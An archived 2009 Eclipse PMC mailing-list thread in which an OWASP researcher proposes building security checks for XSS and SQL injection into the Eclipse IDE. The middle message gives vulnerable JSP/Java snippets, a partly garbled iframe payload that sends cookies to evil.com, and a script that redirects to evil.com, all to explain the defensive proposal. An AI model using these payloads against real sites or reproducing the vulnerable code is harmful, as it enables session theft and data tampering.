[
Date Prev][
Date Next][
Thread Prev][
Thread Next][
Date Index][
Thread Index]
[
List Home]
|
RE: [eclipse-pmc] Project proposal on application security
|
Arshan, from your description I'm not
sure the Eclipse project is the right place for this. The project name
is a bit misleading, but the Eclipse top-level project is concerned with
generic language-agnostic IDE infrastructure, and with general Java SE
development tools [1]. If there is a generic IDE aspect to the kind of
security tools you have in mind, they may belong in the Eclipse top-level
project, but your examples seem to be specific to web development, and/or
SQL development. Tools for web and SQL programming are found in separate
projects: Web Tools [2], and Data Tools [3].
John
[1] http://eclipse.org/eclipse/
[2] http://eclipse.org/webtools/
[3] http://www.eclipse.org/datatools/
"Arshan Dabirsiaghi"
<arshan.dabirsiaghi@xxxxxxxxxxxxxxxxxx>
Sent by: eclipse-pmc-bounces@xxxxxxxxxxx
08/04/2009 06:24 PM
|
Please respond to
eclipse-pmc@xxxxxxxxxxx |
|
|
To
| <eclipse-pmc@xxxxxxxxxxx>
|
|
cc
| wayne.beaton@xxxxxxxxxxx
|
|
Subject
| RE: [eclipse-pmc] Project proposal on
application security |
|
Wow this turned out to be a long email! I hope it's
not overwhelming. My phone is always on, and I'm always willing to talk
if there's any confusing points here. Anyway, I hope you brought coffee.
First, let me talk explain why Equinox and Sword4J aren't exactly what's
going to help average Joe Web Developer.
The Equinox and Sword4J projects seem focused on J2SE code security and
trusted libraries (among other things less relevant). In all of the security
assessments I've done of web applications, these are not realistic threats
for attackers. I don't need to control your server-side code, as an attacker,
to abuse an application. It's usually quite possible to trick the developers'
custom code in order to subvert the security of the application in one
dimension or another. To show how unrealistic the problems that Sword4J
and Equinox solve are, consider that most applications don't even run with
a SecurityManager and I've yet to run into a customer who has regretted
that fact (or even understood why it might be a problem). We have a long
way to go until those are the projects that solve our biggest security
concerns.
A summary of the greatest threats to web applications specifically is created
by OWASP every couple of years [1] in the "Top 10" series. As
you can see on the page I've referenced, this "standard" for
realistic threats is used by many organizations, including government agencies,
financial companies, and organizations from just about every vertical.
Unfortunately, none of the issues cited in the OWASP Top 10 are solved
by Equinox and Sword4J. I don't want to seem like I'm discrediting their
work; trusted code is important to some formal assurance models, but we
can help developers fix the vulnerabilities that they are creating right
now, every day.
Let's take 2 of the 10 most prevalent and most easily exploitable vulnerabilities
in applications today, cross-site scripting and SQL injection, and see
how the Eclipse IDE can prevent them from ever happening.
Cross-site scripting
My company's assessment data shows that over 90% of web applications are
vulnerable to XSS, and often quite thoroughly. There is public data that
shows the number somewhere around 70%, but that data is only generated
by automated tools, and human analysis tends to turn up many more vulnerabilities
than automated analysis.
A developer can introduce a cross-site scripting flaw (of which there are
many variants) in a single line of code:
Your search for "<%= request.getParameter("searchValue")
%>" produced <%=num%> results!
It also may take another form in JSP EL:
Your search for ${myStrutsSearchForm.searchValue} produced ${num} results!
These are two examples of where user-supplied code is reflected directly
into an HTML response after a search. This pattern is actually all it takes
to allow attackers to perform privilege escalation, phishing, keylogger
installation and a host of other really bad things. Imagine you were logged
into the site in question, and then visited my malicious page in another
browser tab. My page then gives you this HTML:
<iframe src=""
Img().src=''+document.cookie;</script>">
Seeing this HTML will cause your browser to issue a request from the victim's
browser to the victimsite's search action. When the search action is building
the view from the JSP, it will include the user-supplied parameter, which
contains _javascript_ that sends the user's cookies to an evil site, evil.com.
All the attacker has to do is watch his web logs on evil.com and stick
the victim's cookies from them into his own browser in order to become
the victim user.
It's that easy! Now let's consider another, more brutal type of cross-site
scripting, called persistent cross-site scripting. Imagine Alice runs a
blog called AlicesBlog.com. Since most blogs allow comments either registered
unregistered, Mallory posts a comment on Alice's latest post:
Hey Alice, I love your posts!! Keep up the good work!!<script>document.location='http://evil.com';</script>
Depending on how comments are handled, this could be very bad for Alice.
Let's assume the worst case for brevity, and Alice does not moderate comments.
When any user sees Alice's latest post, Mallory's comment will be delivered
as part of the HTML response as generated by the JSP. Because Mallory's
comment will be interpreted as code and not data, the user's browser will
execute the malicious script and redirect the user to a page exclaiming
that they hacked Alice's site. Alice then loses trust and credibility,
because when a user navigates Alice's site, all they see is Mallory's apparent
"defacement". In reality, persistent XSS is used to harvest mass
amounts of accounts and perform other malicious activity, and a defacement
is frankly preferable to the alternatives.
How can the IDE help? Well, it can help in easy ways and hard ways. At
the very least, a simple Validator could be used to detect request parameters
(or headers) being directly reflected into the response. Simple checks
could be used to give the use an error when the following code is seen:
<%=request.getParameter("foo")%>
However, what about the following scenario?
<%
String param = request.getParameter("foo");
%>
...
<%= param + " results!!" %>
This example shows that in order to catch this problem generally we need
to do data flow analysis (also called "taint tracking"), which
is expensive computationally, even with all the AST functionality built
into Eclipse. So, hard way = data flow analysis, easy way = simple Validators
with grep.
SQL Injection
Consider the lifetime of the request parameter "foo" in the following
set of snippets:
String untrusted_data = request.getParameter("foo");
...
updateAccount(untrusted_data);
...
public void updateAccount(String acctName) {
String sql = "UPDATE foo SET name='" + acctName + "' WHERE
id=2";
Statement stmt = conn.creaStatement();
stmt.executeQuery(sql);
}
As one can see, the request parameter, an untrusted value, is eventually
used to dynamically build a SQL statement. A user could enter in a value
that altered the meaning of the SQL query in order to change all row values,
alter other tables, gather data, and even destroy tables.
A similar data flow analysis would be required to catch this bug. Alternatively,the
Statement.executeQuery() API could be flagged as "dangerous"
like the old C gets() method, and would throw compilation errors unless
annotated appropriately.
Since Eclipse manages can attach to runtime server processes (like Tomcat)
we also use dynamic testing capabilities to discover these issues with
more advanced but computationally less expensive techniques. For example,
you could run your application locally within Eclipse+Tomcat, use AspectJ
to taint the data at runtime, and then setup hooks at dangerous "sinks"
like JspWriter output methods and Statement.executeQuery to detect if tainted
data (also called dangerous "sources") ever make it into one
of them.
If I had unlimited authority and developer time I could imagine lots of
things to introduce into the IDE for application security. These are the
questions we'd have to answer before moving on:
1. What vulnerabilities do we want to prevent from occurring?
2. How are we going to let the user know about the flaw, and how can they
override it?
Once we know the answers to those two questions we can figure out what
the best way to implement these checks could be. Again, sorry for the novel,
but the problem of application security is one that the world needs to
figure out quickly. We're building up a massive "security debt clock"
and unlike our national debt, eventually we're going to have to pay for
this one. You're in a uniquely powerful position to prevent a large percentage
of vulnerabilities from occurring. It's easy to blame developers, but frankly
they're never properly trained and security is the first thing to be thrown
away on a regular budget. Attackers won't always have the easy options
of buffer overflows and phishing - Gartner has showed that attacks are
moving to the application layer [3] and it won't be long before the amount
of incidents we already see [4] grows at an astonishing rate.
Thanks for listening!
Cheers,
Arshan
[1] http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[2] http://www.slideshare.net/jeremiahgrossman/whitehat-security-website-security-statistics-report-q109
[3] http://adtmag.com/articles/2006/06/01/application-security-comes-under-attack.aspx
[4] http://www.xiom.com/whid-2009
________________________________
From: eclipse-pmc-bounces@xxxxxxxxxxx on behalf of Jeff McAffer
Sent: Tue 8/4/2009 1:32 PM
To: eclipse-pmc@xxxxxxxxxxx
Cc: wayne.beaton@xxxxxxxxxxx
Subject: Re: [eclipse-pmc] Project proposal on application security
Arshan,
This sounds very interesting. It sounds related at least in part to some
of the work carried out in the Equinox security incubator.
http://www.eclipse.org/equinox/incubator/security/
There are several aspects of that work, some involving higher level notions
(e.g., JAAS etc) and others static code analysis and Java2 permissions
analysis using Sword4J
http://www.alphaworks.ibm.com/tech/sword4j
I don't know the current status of the Sword4J work but it might be a good
place to start looking.
In any event, it would be interesting to hear more about what you are proposing.
Jeff
Jeff McAffer | CTO | EclipseSource | +1 613 851 4644
jeff@xxxxxxxxxxxxxxxxx | http://eclipsesource.com <http://eclipsesource.com/>
On 4-Aug-09, at 10:23 AM, Arshan Dabirsiaghi wrote:
Eclipse PMC,
My name is Arshan and I'd like Eclipse to enable developers to write more
secure code. I'm working with the OWASP foundation and have elicited funds
to accomplish the introduction of security into key points in the technology
stack with security analysis of application server frameworks, vendor outreach
programs, and more. I'm writing to ask you, however, about introducing
security into your IDE (which happens to be my favorite IDE).
The IDE is a very effective place for security to go since it will necessarily
catch problems earlier in the lifecycle than would
security checks in other places. There a host of issues the JDT can easily
detect while developers are writing code, including:
* Injection attacks (cross-site scripting, command injection,
SQL injection, XPath/XML injection, etc.)
* Information leakage
* Cryptographic weakness
* ...and many more!
While a 3rd party plugin could technically perform these checks, having
them in the IDE would greatly legitimize security in developers' eyes,
since most view security problems as theoretical or bothersome. And the
momentum is growing; it's not just the banks that are taking application
security seriously anymore - the world is starting recognize that applications
are part of your security perimeter. In fact, we recently spoke at JavaOne
about some specific security flaws the J2EE world is continually producing.
Other IDEs are getting into the game as well. Visual Studio invested in
CAT.NET, a tool used to help MS developers find security problems and IBM
recently bought Ounce, a static analysis tool for finding security flaws.
I do penetration testing, code review and security research for a living.
The problems are out there in staggering numbers, and its only getting
worse. Frankly, developers will keep re-introducing problems as long as
the IDE lets them.
I'm proposing we create an Eclipse sub-project or extend a piece of the
existing Eclipse base to allow users to enable security guidance with customizable
levels of interaction. As budget allows we are prepared to take on the
necessary expenses for implementing these features, but the commitment
to developing more secure code can only come from your organization.
We are very flexible on the logistical details and are mostly eager to
start a conversation around application security and Eclipse.
Thanks for your time,
Arshan Dabirsiaghi
Director of R&D
Aspect Security
http://www.aspectsecurity.com <http://www.aspectsecurity.com/>
O: (301) 604-4882
C: (443) 791-5355
Project Lead
Intrinsic Security Working Group
Open Web Application Security Project (OWASP)
http://owasp.org <http://owasp.org/>
_______________________________________________
eclipse-pmc mailing list
eclipse-pmc@xxxxxxxxxxx
https://dev.eclipse.org/mailman/listinfo/eclipse-pmc
_______________________________________________
eclipse-pmc mailing list
eclipse-pmc@xxxxxxxxxxx
https://dev.eclipse.org/mailman/listinfo/eclipse-pmc
Attachment:
winmail.dat
Description: Binary data
